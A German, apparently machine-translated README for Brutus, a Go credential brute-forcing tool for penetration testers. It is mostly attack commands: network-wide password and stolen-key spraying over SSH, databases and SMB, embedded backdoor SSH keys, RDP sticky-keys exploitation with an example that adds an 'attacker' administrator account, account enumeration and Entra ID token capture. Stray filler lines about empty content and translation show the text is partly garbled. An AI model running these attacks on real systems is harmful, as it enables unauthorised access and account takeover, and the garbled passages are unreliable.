
Schnelles, abhängigkeitsfreies Credential-Testing-Tool in Go. Brute Force für SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB und 20+ Protokolle. Hydra-Alternative mit nativer nerva/naabu-Pipeline-Integration.
"Et tu, Brute?" — Die letzten Worte, bevor Zugangsdaten fallen.
Modernes Tool zum Testen von Anmeldedaten in reinem Go
Installation • Schnellstart • Pipeline • Protokolle • Enumeration • Proxy • Bibliothek
Brutus ist ein Multi-Protokoll-Authentifizierungstestwerkzeug, das entwickelt wurde, um eine kritische Lücke in der Offensiv-Sicherheitswerkzeuglandschaft zu schließen: effiziente Validierung von Anmeldedaten über verschiedene Netzwerkdienste hinweg. Während HTTP-fokussierte Werkzeuge reichlich vorhanden sind, stoßen Penetrationstester und Red-Team-Operatoren häufig auf Datenbanken, SSH, SMB und andere Netzwerkdienste, die speziell entwickelte Authentifizierungstestfunktionen erfordern.
In Go als einzelne Binärdatei ohne externe Abhängigkeiten gebaut, integriert sich Brutus nahtlos mit Nerva für die automatisierte Dienstfindung, sodass Betreiber schnell Authentifizierungsvektoren über ganze Netzwerkbereiche identifizieren und testen können.
Hauptfunktionen:
--proxy--mode cautious|default|aggressive zur Abstimmung von Abdeckung vs. SicherheitTraditionelle Werkzeuge wie THC Hydra haben der Sicherheitsgemeinschaft gute Dienste geleistet, aber sie bringen erhebliche Reibung mit sich: komplexe Abhängigkeitsketten, plattformspezifische Kompilierungsprobleme und keine native Integration mit modernen Erkundungs-Workflows.
Brutus ist speziell für moderne offensive Sicherheit konzipiert:
Echte Null-Abhängigkeits-Bereitstellung: Laden Sie eine einzelne Binärdatei herunter und führen Sie sie aus. Kein libssh-dev, kein libmysqlclient-dev, keine Kompilierungsfehler. Funktioniert identisch auf Linux, macOS und Windows.
Native Pipeline-Integration: Brutus spricht JSON und integriert sich direkt mit Nerva, naabu, nmap und masscan. Leiten Sie entdeckte Dienste direkt in die Anmeldedatentests ohne Formatkonvertierung oder Skripterstellung.
Eingebettete Intelligenz: Bekannte schlechte SSH-Schlüssel (Vagrant, F5 BIG-IP, ExaGrid, usw.) sind in die Binärdatei kompiliert. Verwenden Sie brutus badkeys, um sie gegen SSH-Ziele zu testen.
Bibliothek-zuerst-Design: Importieren Sie Brutus direkt in Ihre Go-Sicherheitswerkzeuge. Erstellen Sie benutzerdefinierte Automatisierung ohne Auslagerung an externe Prozesse.```bash
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds
---
## Anwendungsfälle
### Penetrationstests
- Entdeckte Anmeldeinformationen während interner Bewertungen über mehrere Dienste hinweg validieren
- Muster der Passwortwiederverwendung über Datenbank- und Dateifreigabedienste testen
- Standard-Anmeldeinformationen auf neu bereitgestellter Infrastruktur identifizieren
### Red-Team-Operationen
- Schnelle Validierung von Anmeldeinformationen nach Passwort-Leaks oder Phishing-Kampagnen
- Möglichkeiten der lateralen Bewegung über Netzwerkdienste testen
- Kompromittierte Anmeldeinformationen über heterogene Umgebungen hinweg validieren
### Spraying von privaten Schlüsseln
Haben Sie einen privaten Schlüssel auf einem kompromittierten System gefunden? Sprayen Sie ihn über das Netzwerk, um herauszufinden, wo er sonst noch Zugriff gewährt:```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
nerva --json | \
brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
This pipeline discovers all SSH services, identifies them with Nerva, and tests the compromised key against common usernames—revealing lateral movement opportunities in seconds.
Entdecken Sie HTTP-Dienste und testen Sie Anmeldedaten mithilfe von KI-gestützter Erkennung oder manuellen Anmeldedatenlisten:```bash
naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
nerva --json |
brutus web --experimental-ai --json
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web -c "admin:admin,root:password" --json
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --json
### Sicherheitsvalidierung
- Testen Sie Standard-Anmeldedaten auf neu bereitgestellten Diensten
- Überprüfen Sie die Durchsetzung von Passwortrichtlinien auf allen Plattformen
- Erstellen Sie Prüfpfade für Compliance- und Sicherheitsbewertungen
---
## Installation
### Vorgefertigte Binärdateien (Empfohlen)
Download from [GitHub Releases](https://github.com/praetorian-inc/brutus/releases):```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
INPUT:```powershell
Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip
### Go Installation```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest
Brutus organisiert seine Funktionalität in sechs fokussierte Unterbefehle:```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)
Jeder Unterbefehl hat Aliase zur Auffindbarkeit:
| Unterbefehl | Aliase |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(keine)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai
# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive
# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389
# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
brutus creds --target 192.168.1.100:22 --protocol ssh
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt
brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password
brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa
brutus creds --target 192.168.1.100:22 --protocol ssh -t 20
brutus creds --target 192.168.1.100:22 --protocol ssh --json
### Ausgabe Beispiel```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
Mit verbose-Modus (-v):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v
[-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s)
[+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)
JSON-Ausgabe für Pipeline-Integration (gibt nur erfolgreiche Anmeldedaten aus):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
Brutus lässt sich nahtlos in Nerva und naabu für eine vollständige Netzwerkerkundung integrieren.
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva --json |
brutus creds --json -o results.json
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva | brutus creds -o results.json
cat results.json | jq '.'
#### Szenario 2: Bug Bounty Recon auf einer Zieldomain```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
nerva --json | \
brutus creds
# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds
naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
nerva --json |
brutus creds -t 5 --json |
tee database-findings.json
jq -r '"(.target) (.username):(.password)"' database-findings.json
#### Szenario 4: SSH-Key-Tests in der gesamten Infrastruktur```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
nerva --json | \
brutus badkeys --json -o ssh-key-findings.json
# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'
naabu -host 172.16.0.0/12 -p 6379 -silent |
nerva --json |
brutus creds
naabu -host 10.0.0.0/24 -p 27017 -silent |
nerva --json |
brutus creds -u admin,root,mongodb -p admin,password,mongodb
### Import von Scan-Tools (Nmap & Masscan)
Brutus kann Ziele direkt aus **nmap**- und **masscan**-Scanausgabedateien importieren, sodass keine Formatkonvertierung oder Zwischentools erforderlich sind.
#### Nmap XML Import (`--nmap-file`)
Importiert Ziele aus nmaps XML-Ausgabe (`-oX`). Nmap bietet Service-Fingerprinting, sodass Brutus erkannte Dienste automatisch dem richtigen Protokoll zuordnet:```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt
# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"
# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive
# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json
Nmap-Dienstnamen werden automatisch auf Brutus-Protokolle abgebildet (z.B. ms-wbt-server → rdp, microsoft-ds → smb). TLS wird aus nmaps Attribut tunnel="ssl" erkannt. Es werden nur offene Ports auf aktiven Hosts importiert.
--masscan-file)Importiere Ziele aus masscans JSON-Ausgabe (-oJ). Da masscan nur ein Portscanner ist (keine Dienst-Fingerabdrücke), müssen Sie entweder --protocol angeben oder Brutus mit Nerva automatisch Fingerabdrücke erstellen lassen:```bash
masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000
brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt
brutus creds --masscan-file scan.json -P passwords.txt
#### Kombinieren mit anderen Workflows
Die Flags `--nmap-file` und `--masscan-file` funktionieren mit allen Unterbefehlen und schließen sich gegenseitig mit `--target`, `--targets-file` und stdin aus:```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml
# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml
# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
Brutus akzeptiert mehrere Eingabeformate von stdin:
Nerva JSON (nerva --json):```bash
{"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"}
{"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}
**Nerva URI** (Standard Nerva-Ausgabe, kein `--json` erforderlich):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)
# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
Nackte Ziele (automatisch mit Nerva identifiziert):```bash echo "192.168.1.100:22" | brutus creds
Brutus automatisch:
- JSON-, URI-Schema- und reine Zielformate parst
- Dienste Protokollen zuordnet
- Passende Standard-Anmeldeinformationen testet
- Ergebnisse im passenden JSON-Format ausgibt
### Pipeline-Ausgabeformat
Brutus gibt nur erfolgreiche Anmeldeinformationen im JSONL-Format aus (ein JSON-Objekt pro Zeile):```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
Hinweis: Fehlgeschlagene Authentifizierungsversuche sind nicht im JSON-Output enthalten. Das key-Feld erscheint (als true), wenn für die Authentifizierung ein SSH-Schlüssel anstelle eines Passworts verwendet wurde. Das llm_suggested-Feld erscheint (als true), wenn die Anmeldeinformationen vom KI-System vorgeschlagen wurden (--experimental-ai).
Brutus unterstützt 27 Protokolle:
| Protokoll | Port | Authentifizierungsmethoden | Anwendungsfall |
|---|---|---|---|
| HTTP | 80 | Basis-Authentifizierung | Admin-Panels (Grafana, Jenkins usw.) |
| HTTPS | 443 | Basis-Authentifizierung | Sichere Admin-Panels |
| Protokoll | Port | Authentifizierungsmethoden | Anwendungsfall |
|---|---|---|---|
| Docker | 2375/2376 | Nicht authentifiziert | Freigelegte Docker-Daemons |
| Kubernetes | 6443/10250 | Nicht authentifiziert | Freigelegte K8s-API/kubelet |
Einzelne Binärdatei, keine externen Schlüsseldateien erforderlich. Jeder Schlüssel ist mit seinem Standard-Benutzernamen für ein intelligentes Mapping der Anmeldeinformationen gekoppelt, und die CVE-Verfolgung ermöglicht Compliance-Abfragen.
Brutus enthält die rapid7/ssh-badkeys- und Vagrant-Schlüsselsammlungen, die in die Binärdatei eingebettet sind:```bash
brutus badkeys --target 192.168.1.100:22
naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"
### Eingebettete Schlüsselsammlung
| Produkt | CVE | Standardbenutzer | Beschreibung |
|---------|-----|------------------|--------------|
| Vagrant | - | vagrant, root | HashiCorp Vagrant unsicherer Schlüssel |
| F5 BIG-IP | CVE-2012-1493 | root | Statischer SSH-Host-Schlüssel |
| ExaGrid | CVE-2016-1561 | root | Hintertür für Backup-Appliance |
| Monroe DASDEC | CVE-2013-0137 | root | Notfallwarnsysteme |
| Barracuda | CVE-2014-8428 | cluster | Load-Balancer-VM |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | Drahtloses Backhaul |
| Array Networks | - | sync | vAPV/vxAG-Appliances |
| Quantum DXi | - | root | Deduplizierungs-Appliances |
| Loadbalancer.org | - | root | Enterprise-Load-Balancer |
---
## Aggressivitätsmodi
Das globale `--mode`-Flag (`-m`) steuert die Aggressivität über alle Unterbefehle hinweg. Es setzt Leistungsoptimierungs-Voreinstellungen, die die Abdeckung gegen Sicherheit abwägen:
| Modus | Threads | Timeout | Ratenlimit | Jitter | Wiederholungen | Anwendungsfall |
|-------|---------|---------|------------|--------|----------------|----------------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Produktionsumgebungen, Sperrungen vermeiden |
| `default` | 10 | 10s | Unbegrenzt | Keine | 2 | Standardtests |
| `aggressive` | 20 | 10s | Unbegrenzt | Keine | 3 | Labor-/CTF-Umgebungen, maximale Abdeckung |
Modus-Voreinstellungen werden zuerst angewendet, danach überschreiben explizite CLI-Flags diese:```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
Für SNMP steuert der Modus auch die Tiefe der integrierten Wortliste (siehe SNMP Community String Testing).
Das --proxy-Flag leitet alle Verbindungen über einen SOCKS5-Proxy. Dies funktioniert über alle Protokolle und Unterbefehle hinweg:```bash
brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080
brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080
brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080
naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080
brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080
Unterstützte Schemata:
- `socks5://` — Standard-SOCKS5-Proxy (clientseitige DNS-Auflösung)
- `socks5h://` — SOCKS5 mit fernseitiger DNS-Auflösung (nützlich beim Anvisieren interner Hostnamen)
---
## SNMP-Community-String-Tests
Der Unterbefehl `snmp` bietet dedizierte Tests von SNMP-v1/v2c-Community-Strings mit abgestuften Wortlisten, die durch das globale Flag `--mode` gesteuert werden:
| Modus | Strings | Abdeckung |
|-------|---------|-----------|
| `cautious` | ~25 | Gängige Strings (public, private, community, usw.) |
| `default` | ~25 | Wie bei cautious |
| `aggressive` | 200+ | Umfassend (herstellerabhängig, SCADA, IP-Kameras, Storage, usw.) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161
# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive
# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt
# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
Für Entwickler, die Sicherheitsautomatisierungswerkzeuge bauen, kann Brutus auch als Go-Bibliothek importiert werden:```bash go get github.com/praetorian-inc/brutus
**Der Inhalt scheint leer zu sein.**
Wir benötigen mehr Inhalt, um fortzufahren.
- [Zurück nach oben](#readme)
---
## Übersetzung
Die Übersetzung der hier genannten Werkzeuge bezieht sich auf eine Konvertierung von einer natürlichen Sprache in eine andere. Dies trifft normalerweise nicht auf Open-Source-Cybersicherheitswerkzeuge zu, die typischerweise auf Englisch sind, aber die README bietet manchmal übersetzte Versionen oder Beschreibungen.```go
package main
import (
"fmt"
"time"
"github.com/praetorian-inc/brutus/pkg/brutus"
_ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)
func main() {
config := &brutus.Config{
Target: "192.168.1.100:22",
Protocol: "ssh",
Usernames: []string{"root", "admin"},
Passwords: []string{"password", "admin", "toor"},
Timeout: 5 * time.Second,
Threads: 10,
}
results, err := brutus.Brute(config)
if err != nil {
panic(err)
}
for _, r := range results {
if r.Success {
fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
}
}
}
⚠️ Experimentelle Funktion: KI-Funktionen benötigen externe API-Schlüssel und befinden sich in aktiver Entwicklung.
--experimental-ai FlagDas --experimental-ai Flag aktiviert die automatische Erkennung von Zugangsdaten für HTTP-Dienste:```bash
export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search
naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --experimental-ai
**Wie es funktioniert:**
1. **Erkennung** — Brutus testet HTTP-Ziele, um den Authentifizierungstyp zu erkennen (Basic Auth vs. formularbasiert)
2. **Geräteidentifikation** — Claude Vision analysiert Screenshots, um das Gerät/die Anwendung zu identifizieren
3. **Anmeldeinformationsvorschläge** — Claude schlägt Standard-Anmeldeinformationen aus seinen Trainingsdaten vor
4. **Optionale Websuche** — Perplexity (falls konfiguriert) sucht online nach weiteren Anmeldeinformationen
5. **Testen** — Testet die gefundenen Anmeldeinformationen gegen das Ziel
**Für HTTP Basic Auth Ziele:**
- Testet `/` um HTTP-Header zu erfassen
- Identifiziert Gerät aus Server-Header, WWW-Authenticate-Realm etc.
- Claude schlägt wahrscheinliche Standard-Anmeldeinformationen vor
- Testet Anmeldeinformationspaare automatisch
**Für HTTP formularbasierte Auth-Ziele:**
- Verwendet headless Chrome zum Rendern und Erstellen eines Screenshots der Seite
- Claude Vision identifiziert das Login-Formular, den Gerätetyp und schlägt Anmeldeinformationen vor
- Perplexity (optional) sucht nach weiteren Standard-Anmeldeinformationen
- Browser-Automatisierung füllt und sendet das Formular ab
**Anforderungen:**
- `ANTHROPIC_API_KEY` — **Erforderlich** für Claude Vision (Geräteidentifikation + Anmeldeinformationsvorschläge)
- `PERPLEXITY_API_KEY` — *Optional* für zusätzliche Websuche-Recherche
- Chrome/Chromium installiert (nur für formularbasierte Auth)
**Nicht-HTTP-Protokolle (SSH, MySQL, etc.) werden von `--experimental-ai` nicht beeinflusst** — sie verwenden weiterhin Standard-Anmeldeinformationstests.
---
## RDP: Erkennung und Ausnutzung der Sticky Keys Hintertür
Brutus beinhaltet automatische Erkennung der **Sticky Keys Hintertür** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) auf RDP-Zielen. Diese Pre-Authentifizierungsprüfung läuft auf Nicht-NLA RDP-Zielen — keine Anmeldeinformationen erforderlich.
**Wie es funktioniert:**
1. Stellt eine Verbindung zum RDP-Ziel her und handelt eine Nicht-NLA-Sitzung aus
2. Erfasst den Login-Bildschirm-Bitmap als Basislinie
3. Sendet 5x die Umschalttaste (der Sticky Keys Auslöser)
4. Erfasst den Antwort-Bitmap
5. Heuristische Analyse erkennt, ob ein Terminalfenster erschienen ist (cmd.exe, PowerShell usw.)
6. Optional Bestätigung über Claude Vision API (wenn `ANTHROPIC_API_KEY` gesetzt ist)```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389
# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai
Nur-Erkennungs-Modus: Der Unterbefehl logon führt die Sticky-Keys- und Utilman-Backdoor-Erkennung ohne Brute-Force durch:```bash
brutus logon --target 10.0.0.50:3389
**Erkennungsausgabe:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.
--exec)Sobald eine Backdoor erkannt wird, führen Sie einen Befehl auf dem entfernten System über die Pre-Auth-Befehlseingabeaufforderung aus:```bash
brutus logon --target 10.0.0.50:3389 --exec "whoami"
brutus logon --target 10.0.0.50:3389
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
Dies verbindet, löst die Hintertür aus, tippt den Befehl, drückt die Eingabetaste, wartet auf die Ausgabe und speichert einen PNG-Screenshot des Ergebnisses.
### Interaktives Web-Terminal (`--web`)
Starten Sie einen browserbasierten RDP-Viewer für die Live-Interaktion mit der Eingabeaufforderung der Hintertür:```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web
Dies startet einen lokalen HTTP-Server mit:
Öffnen Sie die angezeigte URL (z. B. http://127.0.0.1:<port>) in einem beliebigen Browser, um mit der entfernten RDP-Sitzung zu interagieren. Wenn die Sitzung aufgrund eines serverseitigen Leerlauf-Timeouts getrennt wird, klicken Sie auf Wiederverbinden, um eine neue Sitzung zu erstellen.
Hinweis: Nicht-NLA-RDP-Sitzungen haben einen serverseitigen Leerlauf-Timeout (Windows-Standard variiert je nach Konfiguration, normalerweise gesteuert über Gruppenrichtlinien unter
Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits). Um den Timeout auf einem Testziel zu verlängern, setzen SieMaxIdleTimeauf0in der Registrierung:HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)
B-TP (Benign True Positive)-Überlegungen: Der Backdoor-Ersatz kann auch auf vergessene Passwort-Wiederherstellungsverfahren oder Artefakte von autorisierten Penetrationstests hinweisen.
Für groß angelegte Bewertungen führt der Unterbefehl logon Backdoor-Erkennung über mehrere Ziele hinweg durch. Er akzeptiert Pipeline-Eingaben, Zieldateien oder nmap/masscan-Importe — nur RDP-Dienste werden getestet:```bash
naabu -host 10.0.0.0/24 -p 3389 -silent |
nerva --json |
brutus logon --json -o rdp-findings.json
brutus logon --nmap-file scan.xml --json -o rdp-findings.json
brutus logon --targets-file rdp-targets.txt --json
jq 'select(.finding == "[CRITICAL]")' rdp-findings.json
**Technische Umsetzung:** Die RDP-Protokollunterstützung verwendet [IronRDP](https://github.com/Devolutions/IronRDP) (Rust), das zu WebAssembly kompiliert und über [wazero](https://github.com/tetratelabs/wazero) ausgeführt wird, wodurch Brutus' Zero-CGO-, Single-Binary-Design beibehalten wird.
---
## Konto-Enumeration
Der Unterbefehl `enum` ermittelt, welche Kontoexistenz-Orakel für eine Organisation funktionieren (und zählt E-Mails gegen diese auf) oder zählt Active Directory-Benutzer auf, alles ohne Passwörter zu senden.
### Kontoexistenz-Orakel-Enumeration
Identifizieren Sie, welche nicht authentifizierten Kontoexistenz-Orakel (microsoft365, google, github, plus das Microsoft Teams-Orakel) für eine Organisation funktionieren, validieren Sie sie anhand eines bekannten gültigen Benutzers, und zählen Sie dann Kandidaten-E-Mails gegen die funktionierenden Orakel auf. DNS-TXT-Recon deckt die Kandidaten-Orakel auf; die Validierung gegen `--known-valid` ist das Highlight. `--known-valid` ist erforderlich, und die Enumeration läuft nur gegen die Orakel, die es bestätigen:```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]
# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]
# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]
# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]
# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]
Ermitteln Sie Active Directory-Benutzernamen über Kerberos AS-REQ (keine Passwörter gesendet, kein Sperrrisiko):```bash
brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt
brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt
brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -
### Email/Username Generation
E-Mail-Adressen oder Benutzernamen aus eingebetteten Wortlisten mit Vor-/Nachnamen generieren:```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast
# Generate usernames only (no domain): jsmith
brutus enum generate --format flast
# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
brutus enum generate --domain example.com --format first.last
Entdecken Sie Personen (E-Mail, Name, Berufsbezeichnung, Telefon, Abteilung, Seniorität, Konfidenz), die mit einer Domain über die Hunter.io Domain Search API verknüpft sind. Paginiert automatisch, bis alle Ergebnisse abgerufen sind.```bash
export HUNTER_API_KEY=your_key_here
brutus enum hunter --domain example.com
brutus enum hunter --domain example.com --api-key your_key_here
brutus enum hunter --domain example.com --output people.jsonl
brutus enum hunter --domain example.com --limit 50
---
### Microsoft Teams / Entra ID Authentifizierung
Erhalten Sie ein OAuth2-Zugriffstoken, ein Aktualisierungstoken und ein ID-Token von Microsoft Entra ID (Azure AD) unter Verwendung des [device code flow](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628). Die resultierenden Token können für Microsoft Graph-API-Aufrufe, Teams-Enumeration und Auditing über Tools wie [ROADtools](https://github.com/dirkjanm/ROADtools) oder benutzerdefinierte Graph-Abfragen verwendet werden.```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth
# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000
# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"
# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000
# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json
So funktioniert es:
login.microsoftonline.com/{tenant}/oauth2/v2.0/devicecode an.Ctrl+C drücken.Human output zeigt nur die ersten 20 Zeichen des Zugriffstokens (ausreichend für die Überprüfung). Verwenden Sie --json oder -o, um die vollständigen Token-Werte zu erfassen.
Standard-Client-ID: Die Microsoft Teams Desktopanwendung (1fec8e78-bce4-4aaf-ab1b-5451cc387264), ein First-Party-Public-Client, der den Gerätecode-Fluss unterstützt. Überschreiben Sie mit --client-id, um Ihre eigene App-Registrierung zu verwenden.```
$ brutus enum active teams auth --tenant contoso.com
[*] Starting Microsoft device code authentication...
[*] Microsoft device code authentication Open: https://microsoft.com/devicelogin Code: ABCD-1234 Expires in: 15m
[*] Waiting for you to complete sign-in...
[+] Authentication successful Token type: Bearer Expires at: 2026-06-16T13:00:00Z Scope: offline_access https://api.spaces.skype.com/.default Access token: eyJ0eXAiOiJKV1Qi... Refresh token: ID token:
#### Teams-Benutzerenumeration
